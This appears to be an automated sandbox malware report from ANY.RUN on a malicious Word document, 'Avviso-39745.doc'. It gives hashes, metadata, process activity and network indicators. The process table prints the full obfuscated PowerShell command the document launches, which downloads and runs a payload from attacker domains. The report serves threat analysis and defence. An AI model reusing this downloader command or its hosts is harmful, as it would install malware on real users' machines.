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| File name: | Avviso-39745.doc |
| Full analysis: | https://app.any.run/tasks/4ffc9b23-ae83-40f2-97c2-7aa924bfc993 |
| Verdict: | Malicious activity |
| Analysis date: | September 11, 2019, 12:09:35 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: Administrator, Template: Normal.dotm, Last Saved By: Administrator, Revision Number: 8, Name of Creating Application: Microsoft Office Word, Total Editing Time: 22:00, Create Time/Date: Sun Sep 8 16:10:00 2019, Last Saved Time/Date: Sun Sep 8 19:15:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
| MD5: | D0E11EA48156452A7206E411265F233E |
| SHA1: | 3BD2464E0DD246B8132444536AF5EE9901280B13 |
| SHA256: | B683F2384C74D8B0EE6C3AB09FC4C688E190226DA144F41FD92B1CD5B2CA40F0 |
| SSDEEP: | 1536:LC3hskRSSuclIyTPHkDD+WZbS+a9cwlOmKC:LIRSSuclIyoDDl8 |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2740)
Executes PowerShell scripts
- WINWORD.EXE (PID: 2740)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2272)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2740)
Creates files in the user directory
- WINWORD.EXE (PID: 2740)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Word 97-2003 Document |
|---|---|
| CompObjUserTypeLen: | 32 |
| HeadingPairs: |
|
| TitleOfParts: | - |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| CharCountWithSpaces: | 1 |
| Paragraphs: | 1 |
| Lines: | 1 |
| Company: | - |
| CodePage: | Windows Latin 1 (Western European) |
| Security: | None |
| Characters: | 1 |
| Words: | - |
| Pages: | 1 |
| ModifyDate: | 2019:09:08 18:15:00 |
| CreateDate: | 2019:09:08 15:10:00 |
| TotalEditTime: | 22.0 minutes |
| Software: | Microsoft Office Word |
| RevisionNumber: | 8 |
| LastModifiedBy: | Administrator |
| Template: | Normal.dotm |
| Comments: | - |
| Keywords: | - |
| Author: | Administrator |
| Subject: | - |
| Title: | - |
Total processes
36
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2740 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Avviso-39745.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2272 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'O2lmKCgoR2V0LVVJQ3VsdHVyZSkuTmFtZSAtbWF0Y2ggIkNOfFJPfFJVfFVBfEJZIikgLW9yICgoR2V0LVdtaU9iamVjdCAtY2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW0gLVByb3BlcnR5IE1vZGVsKS5Nb2RlbCAtbWF0Y2ggIlZpcnR1YWxCb3h8Vk13YXJlfEtWTXxIVk0iKSl7ZXhpdDt9OyRhPUpvaW4tUGF0aCAkZW52OlB1YmxpYyAiXExpYnJhcmllc1xXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLmpzIjskYj1Kb2luLVBhdGggJGVudjp0ZW1wICJTQlBJTVN2Y3g2NC5leGUiO3RyeXsoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoImh0dHA6Ly9zZXIuam9ubmFsYmFuZGlhbi5jb20vbGFzdHVwZGF0ZS56aXA/aHd4c2V2dHoiLCRiKTsgU3RhcnQtUHJvY2VzcyAkYjt9Y2F0Y2h7fTs7dHJ5eyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8vd3dzLmNocmlzdGluZWRhdmllcy5iaXovP3BhZ2U9cmluZyZ2aWQ9cGl0NyZ4eGJ3ZmZ3aCIpfG91dC1maWxlICRhO1N0YXJ0LVByb2Nlc3MgJGE7fWNhdGNoe307' ) );iex $a; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 333
Read events
938
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2740 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR98AB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2272 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6D7OF8CKUXYEFEOASUVW.temp | — | |
MD5:— | SHA256:— | |||
| 2272 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:0F2CAD9746414ABA31294C3B560FCFD5 | SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15 | |||
| 2740 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:B7DEA70F335E5DDC93FE702864A27887 | SHA256:5E4B0BB068B9758D42C59BDBB3E585A771C8BE51EE88F713369718C081896434 | |||
| 2272 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a1a3.TMP | binary | |
MD5:0F2CAD9746414ABA31294C3B560FCFD5 | SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15 | |||
| 2740 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$viso-39745.doc | pgc | |
MD5:A41EACE4CDF82961089A790052DFEE5E | SHA256:5B795AF25C850D50812D9A6E4F4D38F23B104BE3C88875811A92A6553E540550 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2272 | powershell.exe | GET | — | 185.158.248.239:80 | http://ser.jonnalbandian.com/lastupdate.zip?hwxsevtz | RO | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2272 | powershell.exe | 185.158.248.239:80 | ser.jonnalbandian.com | M247 Ltd | RO | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ser.jonnalbandian.com |
| unknown |